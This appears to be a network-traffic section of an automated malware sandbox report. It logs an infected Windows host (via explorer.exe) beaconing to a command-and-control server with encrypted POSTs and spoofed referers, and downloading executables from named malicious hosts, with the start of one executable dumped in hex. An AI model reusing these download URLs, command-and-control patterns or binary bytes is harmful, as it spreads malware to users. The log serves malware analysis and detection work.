Dec 31, 2021 19:12:42.286501884 CET	1037	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 31 Dec 2021 18:12:42 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 33 37 0d 0a 02 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e d6 1e 52 25 40 a3 f5 c2 ea fb 5f f5 4d 8b 2d e4 04 08 c7 5c a5 ba 7a ae 2e 54 0a e3 f0 d8 4b fc 05 d4 43 0d 0a 30 0d 0a 0d 0a Data Ascii: 37I:82OR%@_M-\z.TKC0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.2.3	49790	31.28.27.130	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 31, 2021 19:12:49.846010923 CET	1606	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://maqeavkm.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 236 Host: host-data-coin-11.com
Dec 31, 2021 19:12:49.846065998 CET	1606	OUT	Data Raw: 10 87 f1 e4 6c 84 a2 b7 ba 49 77 33 78 c9 e0 88 4b 61 dd 45 a2 4d 6e eb cd 9e ac f4 fb af e1 f6 19 b2 58 a9 19 1e cc e4 ee da f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 94 66 5d 02 c8 a1 c1 64 54 b4 87 24 Data Ascii: lIw3xKaEMnXwmDu$f]dT$[\o(Zuw%wGIe^]F(CSf~>tR&u5$1fO!B)~rCq6G5RqV1t1%+fKY^xJ3y[x
Dec 31, 2021 19:12:49.923584938 CET	1635	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 31 Dec 2021 18:12:49 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f d1 95 4f 11 6a 11 e9 b2 83 bd a6 02 e9 1a d1 70 ae 59 4a d9 52 a6 be 67 e3 25 58 51 b8 f6 cb 41 e1 0e 88 16 95 e1 63 da 7d b3 ef d2 01 79 e5 a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OOjpYJRg%XQAc}yc0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.2.3	49793	31.28.27.130	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 31, 2021 19:12:50.271090031 CET	1841	OUT	GET /downloads/toolspab3.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: privacytools-foryou-777.com
Dec 31, 2021 19:12:50.328699112 CET	1843	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 31 Dec 2021 18:12:50 GMT Content-Type: application/x-msdos-program Content-Length: 347136 Connection: close Last-Modified: Fri, 31 Dec 2021 18:12:01 GMT ETag: "54c00-5d4751b8a1d64" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 dd 23 4f a3 99 42 21 f0 99 42 21 f0 99 42 21 f0 0a 0c b9 f0 98 42 21 f0 f6 34 bf f0 88 42 21 f0 f6 34 8b f0 f6 42 21 f0 90 3a b2 f0 9a 42 21 f0 99 42 20 f0 28 42 21 f0 f6 34 8a f0 ae 42 21 f0 f6 34 bb f0 98 42 21 f0 f6 34 bc f0 98 42 21 f0 52 69 63 68 99 42 21 f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 73 43 07 5f 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 12 04 00 00 d6 33 00 00 00 00 00 b0 48 02 00 00 10 00 00 00 30 04 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 20 38 00 00 04 00 00 7d 59 05 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 10 04 00 28 00 00 00 00 70 37 00 90 4e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 37 00 50 22 00 00 30 13 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 a5 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 96 10 04 00 00 10 00 00 00 12 04 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 0c 2a 33 00 00 30 04 00 00 8c 00 00 00 16 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 7a 61 78 69 66 75 7a 05 00 00 00 00 60 37 00 00 02 00 00 00 a2 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 90 4e 00 00 00 70 37 00 00 50 00 00 00 a4 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 de 56 00 00 00 c0 37 00 00 58 00 00 00 f4 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3c 13 04 00 4e 13 04 00 62 13 04 00 78 13 04 00 88 13 04 00 9e 13 04 00 ae 13 04 00 ca 13 04 00 de 13 04 00 f4 13 04 00 0e 14 04 00 28 14 04 00 40 14 04 00 54 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$#OB!B!B!B!4B!4B!:B!B (B!4B!4B!4B!RichB!PELsC_3H0@ 8}Yd(p7N7P"0@.text `.data*30@.zaxifuz`7@.rsrcNp7P@@.relocV7X@B<Nbx(@T
Dec 31, 2021 19:12:50.328792095 CET	1845	IN	Data Raw: 14 04 00 60 14 04 00 6e 14 04 00 86 14 04 00 a8 14 04 00 b4 14 04 00 c4 14 04 00 e0 14 04 00 f4 14 04 00 10 15 04 00 22 15 04 00 32 15 04 00 40 15 04 00 50 15 04 00 62 15 04 00 78 15 04 00 8c 15 04 00 9a 15 04 00 aa 15 04 00 be 15 04 00 d6 15 04 Data Ascii: `n"2@Pbx.DTl"4JVh*F^l
Dec 31, 2021 19:12:50.328882933 CET	1846	IN	Data Raw: 00 6b 00 61 00 6c 00 6f 00 67 00 6f 00 20 00 67 00 65 00 6a 00 6f 00 63 00 00 00 00 00 52 75 73 69 70 6f 63 61 20 68 75 74 75 6a 69 6a 69 6e 69 20 62 69 76 6f 70 69 20 66 6f 70 75 68 61 74 75 76 65 20 77 61 64 61 67 00 48 6f 63 75 6b 75 77 61 6d Data Ascii: kalogo gejocRusipoca hutujijini bivopi fopuhatuve wadagHocukuwamoyaso wabigCumoceyuvem kizaxunitiNufivo tobe vasitayip hitagibelaReyahivi cekojer koxudarajih j
Dec 31, 2021 19:12:50.328955889 CET	1848	IN	Data Raw: 69 63 00 d4 ab 40 00 d0 fd 41 00 50 fd 41 00 d0 f0 41 00 70 fe 41 00 60 f0 41 00 a0 ef 41 00 54 ac 40 00 20 ef 41 00 20 70 42 00 20 70 42 00 70 fe 41 00 60 f0 41 00 a0 ef 41 00 00 00 00 00 66 00 3a 00 5c 00 64 00 64 00 5c 00 76 00 63 00 74 00 6f Data Ascii: ic@APAApA`AAT@ A pB pBpA`AAf:\dd\vctools\crt_bld\self_x86\crt\src\xstringstring too longinvalid string positioniostreamh@APApApA`AA
Dec 31, 2021 19:12:50.329057932 CET	1849	IN	Data Raw: 00 6c 00 6f 00 63 00 6b 00 55 00 73 00 65 00 29 00 00 00 00 00 43 6c 69 65 6e 74 00 00 49 67 6e 6f 72 65 00 00 43 52 54 00 4e 6f 72 6d 61 6c 00 00 46 72 65 65 00 00 00 00 14 20 40 00 0c 20 40 00 08 20 40 00 00 20 40 00 f8 1f 40 00 45 72 72 6f 72 Data Ascii: lockUse)ClientIgnoreCRTNormalFree @ @ @ @@Error: memory allocation: bad memory block type.Invalid allocation size: %Iu bytes.%sClient hook allocation failure.Client hook allocation failure at
Dec 31, 2021 19:12:50.329121113 CET	1850	IN	Data Raw: 00 6c 00 6f 00 63 00 6b 00 55 00 73 00 65 00 20 00 3d 00 3d 00 20 00 6e 00 42 00 6c 00 6f 00 63 00 6b 00 55 00 73 00 65 00 00 00 70 00 48 00 65 00 61 00 64 00 2d 00 3e 00 6e 00 4c 00 69 00 6e 00 65 00 20 00 3d 00 3d 00 20 00 49 00 47 00 4e 00 4f Data Ascii: lockUse == nBlockUsepHead->nLine == IGNORE_LINE && pHead->lRequest == IGNORE_REQHEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected th
Dec 31, 2021 19:12:50.329183102 CET	1852	IN	Data Raw: 00 5f 68 65 61 70 63 68 6b 20 66 61 69 6c 73 20 77 69 74 68 20 75 6e 6b 6e 6f 77 6e 20 72 65 74 75 72 6e 20 76 61 6c 75 65 21 0a 00 00 5f 68 65 61 70 63 68 6b 20 66 61 69 6c 73 20 77 69 74 68 20 5f 48 45 41 50 42 41 44 50 54 52 2e 0a 00 00 00 5f Data Ascii: _heapchk fails with unknown return value!_heapchk fails with _HEAPBADPTR._heapchk fails with _HEAPBADEND._heapchk fails with _HEAPBADNODE._heapchk fails with _HEAPBADBEGIN._CrtSetDbgFlag(fNewBits
Dec 31, 2021 19:12:50.329252958 CET	1853	IN	Data Raw: 00 65 00 28 00 66 00 6e 00 29 00 20 00 3d 00 3d 00 20 00 5f 00 5f 00 49 00 4f 00 49 00 4e 00 46 00 4f 00 5f 00 54 00 4d 00 5f 00 41 00 4e 00 53 00 49 00 29 00 20 00 26 00 26 00 20 00 21 00 5f 00 74 00 6d 00 5f 00 75 00 6e 00 69 00 63 00 6f 00 64 Data Ascii: e(fn) == __IOINFO_TM_ANSI) && !_tm_unicode_safe(fn))))f:\dd\vctools\crt_bld\self_x86\crt\src\fputc.c(str != NULL)putc
Dec 31, 2021 19:12:50.329344988 CET	1854	IN	Data Raw: 01 81 01 81 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 10 00 10 00 10 00 10 00 10 00 10 00 82 01 82 01 82 01 82 01 82 01 82 01 02 01 02 01 02 01 02 01 02 01 02 01 02 Data Ascii: H
Dec 31, 2021 19:12:50.329422951 CET	1855	IN	Data Raw: 74 5c 73 72 63 5c 69 6e 69 74 63 74 79 70 2e 63 00 00 00 4c 43 5f 54 49 4d 45 00 4c 43 5f 4e 55 4d 45 52 49 43 00 00 4c 43 5f 4d 4f 4e 45 54 41 52 59 00 4c 43 5f 43 54 59 50 45 00 00 00 00 4c 43 5f 43 4f 4c 4c 41 54 45 00 00 4c 43 5f 41 4c 4c 00 Data Ascii: t\src\initctyp.cLC_TIMELC_NUMERICLC_MONETARYLC_CTYPELC_COLLATELC_ALLP:@lBD:@lDlB8:@lD`OB,:@lD6C :@lD2C:@lDC !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWX
Dec 31, 2021 19:12:50.378492117 CET	1858	IN	Data Raw: 00 74 00 65 00 67 00 6f 00 72 00 79 00 20 00 26 00 26 00 20 00 5f 00 63 00 61 00 74 00 65 00 67 00 6f 00 72 00 79 00 20 00 3c 00 3d 00 20 00 4c 00 43 00 5f 00 4d 00 41 00 58 00 00 00 00 00 73 00 74 00 72 00 6e 00 63 00 70 00 79 00 5f 00 73 00 28 Data Ascii: tegory && _category <= LC_MAXstrncpy_s(lctemp, (sizeof(lctemp) / sizeof(lctemp[0])), s, len)_setlocale_nolock;=;st

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.3	49857	67.199.248.14	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.2.3	49796	31.28.27.130	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 31, 2021 19:12:51.963548899 CET	2209	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ofuehyq.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 282 Host: host-data-coin-11.com
Dec 31, 2021 19:12:51.963557959 CET	2209	OUT	Data Raw: 10 87 f1 e4 6c 84 a2 b7 ba 49 77 33 78 c9 e0 88 4b 61 dd 45 a2 4d 6e eb cd 9e ac f4 fb af e1 f6 19 b2 58 a9 19 1e cc e4 ee da f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 84 de 94 66 5d 02 c9 a1 c1 64 0e 96 8a 7a Data Ascii: lIw3xKaEMnXwmDu$f]dz<ypgI_pKJO<Gi}H~<z$\}7VgVZXZ%w5?M0\|~j!#Ya30P7P";\N)-pnW,=jrk{('
Dec 31, 2021 19:12:52.043066978 CET	2210	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 31 Dec 2021 18:12:52 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.2.3	49797	31.28.27.130	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 31, 2021 19:12:52.123586893 CET	2211	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://mcmkh.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 216 Host: host-data-coin-11.com
Dec 31, 2021 19:12:52.123599052 CET	2211	OUT	Data Raw: 10 87 f1 e4 6c 84 a2 b7 ba 49 77 33 78 c9 e0 88 4b 61 dd 45 a2 4d 6e eb cd 9e ac f4 fb af e1 f6 19 b2 58 a9 19 1e cc e4 ee da f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 95 66 5d 02 c8 a1 c1 64 31 9d ae 15 Data Ascii: lIw3xKaEMnXwmDu$f]d1Efeg!sdE-G3_/rn!;-RINIua@)9r>$#B2<8zc\*y{%y&ecI+g%HR&
Dec 31, 2021 19:12:52.197597027 CET	2211	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 31 Dec 2021 18:12:52 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 32 65 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f d4 89 4f 04 7e 02 fc a9 8d b6 e4 05 ab 0c 91 6b b9 45 4b 95 09 fd bc 67 e5 32 50 0d 0a 30 0d 0a 0d 0a Data Ascii: 2eI:82OO~kEKg2P0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.2.3	49798	54.38.220.85	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 31, 2021 19:12:52.331607103 CET	2212	OUT	GET /install5.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: unicupload.top
Dec 31, 2021 19:12:52.349410057 CET	2212	IN	HTTP/1.1 404 Not Found Server: nginx/1.14.0 (Ubuntu) Date: Fri, 31 Dec 2021 18:11:53 GMT Content-Type: text/html Content-Length: 178 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.2.3	49799	31.28.27.130	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 31, 2021 19:12:52.433130026 CET	2213	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ykycncaclo.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 119 Host: host-data-coin-11.com
Dec 31, 2021 19:12:52.433139086 CET	2213	OUT	Data Raw: 10 87 f1 e4 6c 84 a2 b7 ba 49 77 33 78 c9 e0 88 4b 61 dd 45 a2 4d 6e eb cd 9e ac f4 fb af e1 f6 19 b2 58 a9 19 1e cc e4 ee da f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 92 66 5d 02 c8 a1 c1 64 41 84 8d 7b Data Ascii: lIw3xKaEMnXwmDu$f]dA{4fmgAyf,0rs;(^
Dec 31, 2021 19:12:52.512295961 CET	2214	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 31 Dec 2021 18:12:52 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.2.3	49800	31.28.27.130	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 31, 2021 19:12:52.587570906 CET	2214	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ldhnslyi.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 307 Host: host-data-coin-11.com
Dec 31, 2021 19:12:52.588857889 CET	2215	OUT	Data Raw: 10 87 f1 e4 6c 84 a2 b7 ba 49 77 33 78 c9 e0 88 4b 61 dd 45 a2 4d 6e eb cd 9e ac f4 fb af e1 f6 19 b2 58 a9 19 1e cc e4 ee da f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 93 66 5d 02 c8 a1 c1 64 1c b0 df 29 Data Ascii: lIw3xKaEMnXwmDu$f]d)1U ]%bN-[>+fVB4;tkvL<d3[hKadFz]&(=M(d=^:&%4U%xwvU.j#d9VR/)KUxFNC/eck`S
Dec 31, 2021 19:12:52.664386988 CET	2215	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 31 Dec 2021 18:12:52 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	192.168.2.3	49801	31.28.27.130	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 31, 2021 19:12:52.740684032 CET	2216	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://aeeqrthiih.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 181 Host: host-data-coin-11.com
Dec 31, 2021 19:12:52.740704060 CET	2216	OUT	Data Raw: 10 87 f1 e4 6c 84 a2 b7 ba 49 77 33 78 c9 e0 88 4b 61 dd 45 a2 4d 6e eb cd 9e ac f4 fb af e1 f6 19 b2 58 a9 19 1e cc e4 ee da f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 90 66 5d 02 c8 a1 c1 64 31 a4 b7 6d Data Ascii: lIw3xKaEMnXwmDu$f]d1mjb&Bq6-liPg!}n7Ty_aj&c5uj8%n K7vi\|
Dec 31, 2021 19:12:52.820029020 CET	2217	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 31 Dec 2021 18:12:52 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	192.168.2.3	49802	31.28.27.130	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 31, 2021 19:12:52.896544933 CET	2218	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://jrwnk.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 223 Host: host-data-coin-11.com
Dec 31, 2021 19:12:52.896778107 CET	2218	OUT	Data Raw: 10 87 f1 e4 6c 84 a2 b7 ba 49 77 33 78 c9 e0 88 4b 61 dd 45 a2 4d 6e eb cd 9e ac f4 fb af e1 f6 19 b2 58 a9 19 1e cc e4 ee da f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 91 66 5d 02 c8 a1 c1 64 17 94 8f 29 Data Ascii: lIw3xKaEMnXwmDu$f]d)uO{qA&~a0]p~8"F_'\\=*2sKJ8NSJ-Xn)wd) J:u8J6-C+auy'{Cs\'
Dec 31, 2021 19:12:52.974729061 CET	2218	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 31 Dec 2021 18:12:52 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 33 30 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c5 86 52 06 26 1a ff b5 98 ff a9 1e ad 12 93 3a f9 55 50 99 4a f6 e8 24 e5 64 50 06 b9 0d 0a 30 0d 0a 0d 0a Data Ascii: 30I:82OR&:UPJ$dP0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
27	192.168.2.3	49803	31.28.27.130	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
